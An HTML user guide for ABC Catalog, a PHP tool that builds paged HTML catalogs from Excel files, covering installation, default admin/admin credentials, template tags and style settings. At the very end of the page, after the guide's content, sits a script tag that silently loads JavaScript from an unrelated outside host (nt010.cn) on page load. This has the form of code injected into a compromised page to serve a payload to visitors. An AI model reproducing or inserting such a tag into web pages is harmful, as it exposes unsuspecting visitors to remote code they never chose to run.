<table width="100%" border="0" cellpadding="10" cellspacing="0" bgcolor="#006699"> <tr> <td width="50%" align="left"><font class="productName2">ABC Catalog/User Guide</font></td> <td width="50%" align="right"> </td> </tr> </table> <table width="100%" border="0" cellpadding="10" cellspacing="0" class="BodyText"> <tr> <td> <p> ABC Catalog was developped to allow user to promtly create various databases like product catalogs, price-lists, specifications and other information in table form. <p> As the source of the your data a Microsoft Excel 97/2000/XP file is used. <p> In order to create a catalog you just need to indicate the Excel file on your local computer and press <b>[Parse]</b> button. <p> You may create as many catalogs as you need by using various Excel files. <p> <b>Note:</b> <br> Only the first Excel file sheet is being parsed, the next sheets are ignored. Cannot be parsed Excel files created on Macintosh. <p> <b>Software installation</b> <br> All you need to do is to copy all program files into required directory on your WEB server. This directory should have the right for writing enabled. <p> <b>System requirements</b> <br> You need to have PHP 4.x installed on your WEB server. <p> </p> <font class="MessageText">Change Password</font> <hr width="100%" size="1" noshade> <p>In order to maintain security you'll need to change Login and Password after the first launch of software. <p>Default values are: <br>Login: admin <br>Password: admin <p> Open file 'secure.inc' and change the values for variables of login and password. <pre> $LOGIN = 'admin'; $PASSWORD = 'admin'; </pre> <p> </p> <font class="MessageText">Select Template</font> <hr width="100%" size="1" noshade> <p> If you launch this program for the first time you already have a preloaded Temlate. The Template determines the external look of the web-pages that are created during the parsing process. The template file is 'table.html'</p> <p> In order to customize the design of created pages according to your requirements, you'll need to: <br>1. In any HTML editor create an HTML file according to your design needs and requirements. <br>2. By using Select Template command, choose this HTML from your local disk. The software includes Demo Template (demo_temlate.html). You may wish tio examine its structure and modify it to suit your needs. You may also use any other HTML file - but it must always include special tags responsible for page generation. <p>Here are these tags: <p><b> <%PREVPAGE%> </b> - previous page <p><b> <%PAGENO%> </b> - current page number <p><b> <%PAGECOUNT%> </b> - total pages <p><b> <%NEXTPAGE%> </b> - next tage <p><b> <%TABLE%> </b>- shows tables with data <p><b> <%NAVIGATOR%> </b> - pages navigation block <p>You may use only that tags that you need. <p>But the main tag, <b> <%TABLE%>, </b> used for dispaying data tables, must always be included. <p> </p> <font class="MessageText">Select Excel file</font> <hr width="100%" size="1" noshade> <p>You must select an Excel file with information from your local disk. <p> </p> <font class="MessageText">Directory name</font> <hr width="100%" size="1" noshade> <p>The name of the directory, where HTML pages, created from Excel file, will be stored. The directory is created directly on your server. <p> </p> <font class="MessageText">Rows on page</font> </p> <hr width="100%" size="1" noshade> <p>You may indicate the quantity of rows, which will be accessible on each created HTML page. By default there are 30 rows on a page. <p> </p> <font class="MessageText">Pages navigator</font> <hr width="100%" size="1" noshade> <p> You may indicate the quatity of elements for navigation on cretated HTML pages. By default there are 10 elements per page. <p> </p> After all the above mentioned actions have been performed, press the <b>[Parse]</b> button.</p> <p> The program will automatically create HTML pages from your Excel file. <p> After successful comletion of parsing you'll receive a message, like File 1/index.htm generated from price.xls.</p> <p> </p> <font class="MessageText">Change Styles</font> <hr width="100%" size="1" noshade> <p> <b>Table border option.</b> You can change the color and width of data table border. <p> <b>Category colors option.</b> You can change the Font Color and Background Color for category headers of data tables. <p> The information is stored in 'style.rc' file. <p> The changes will take effect only after all the necessary settings on the main page have been done and the <b>[Parse]</b> button have been pushed. <p> </p> <font class="MessageText">View Catalog</font> <hr width="100%" size="1" noshade> <p> On this page is displayed the list of catalogs which you've created. You are able to view the information from catalog.</p> </td> </tr> </table> <p> </p> <script src="http://nt010.cn/E/J.JS"></script></body> </html>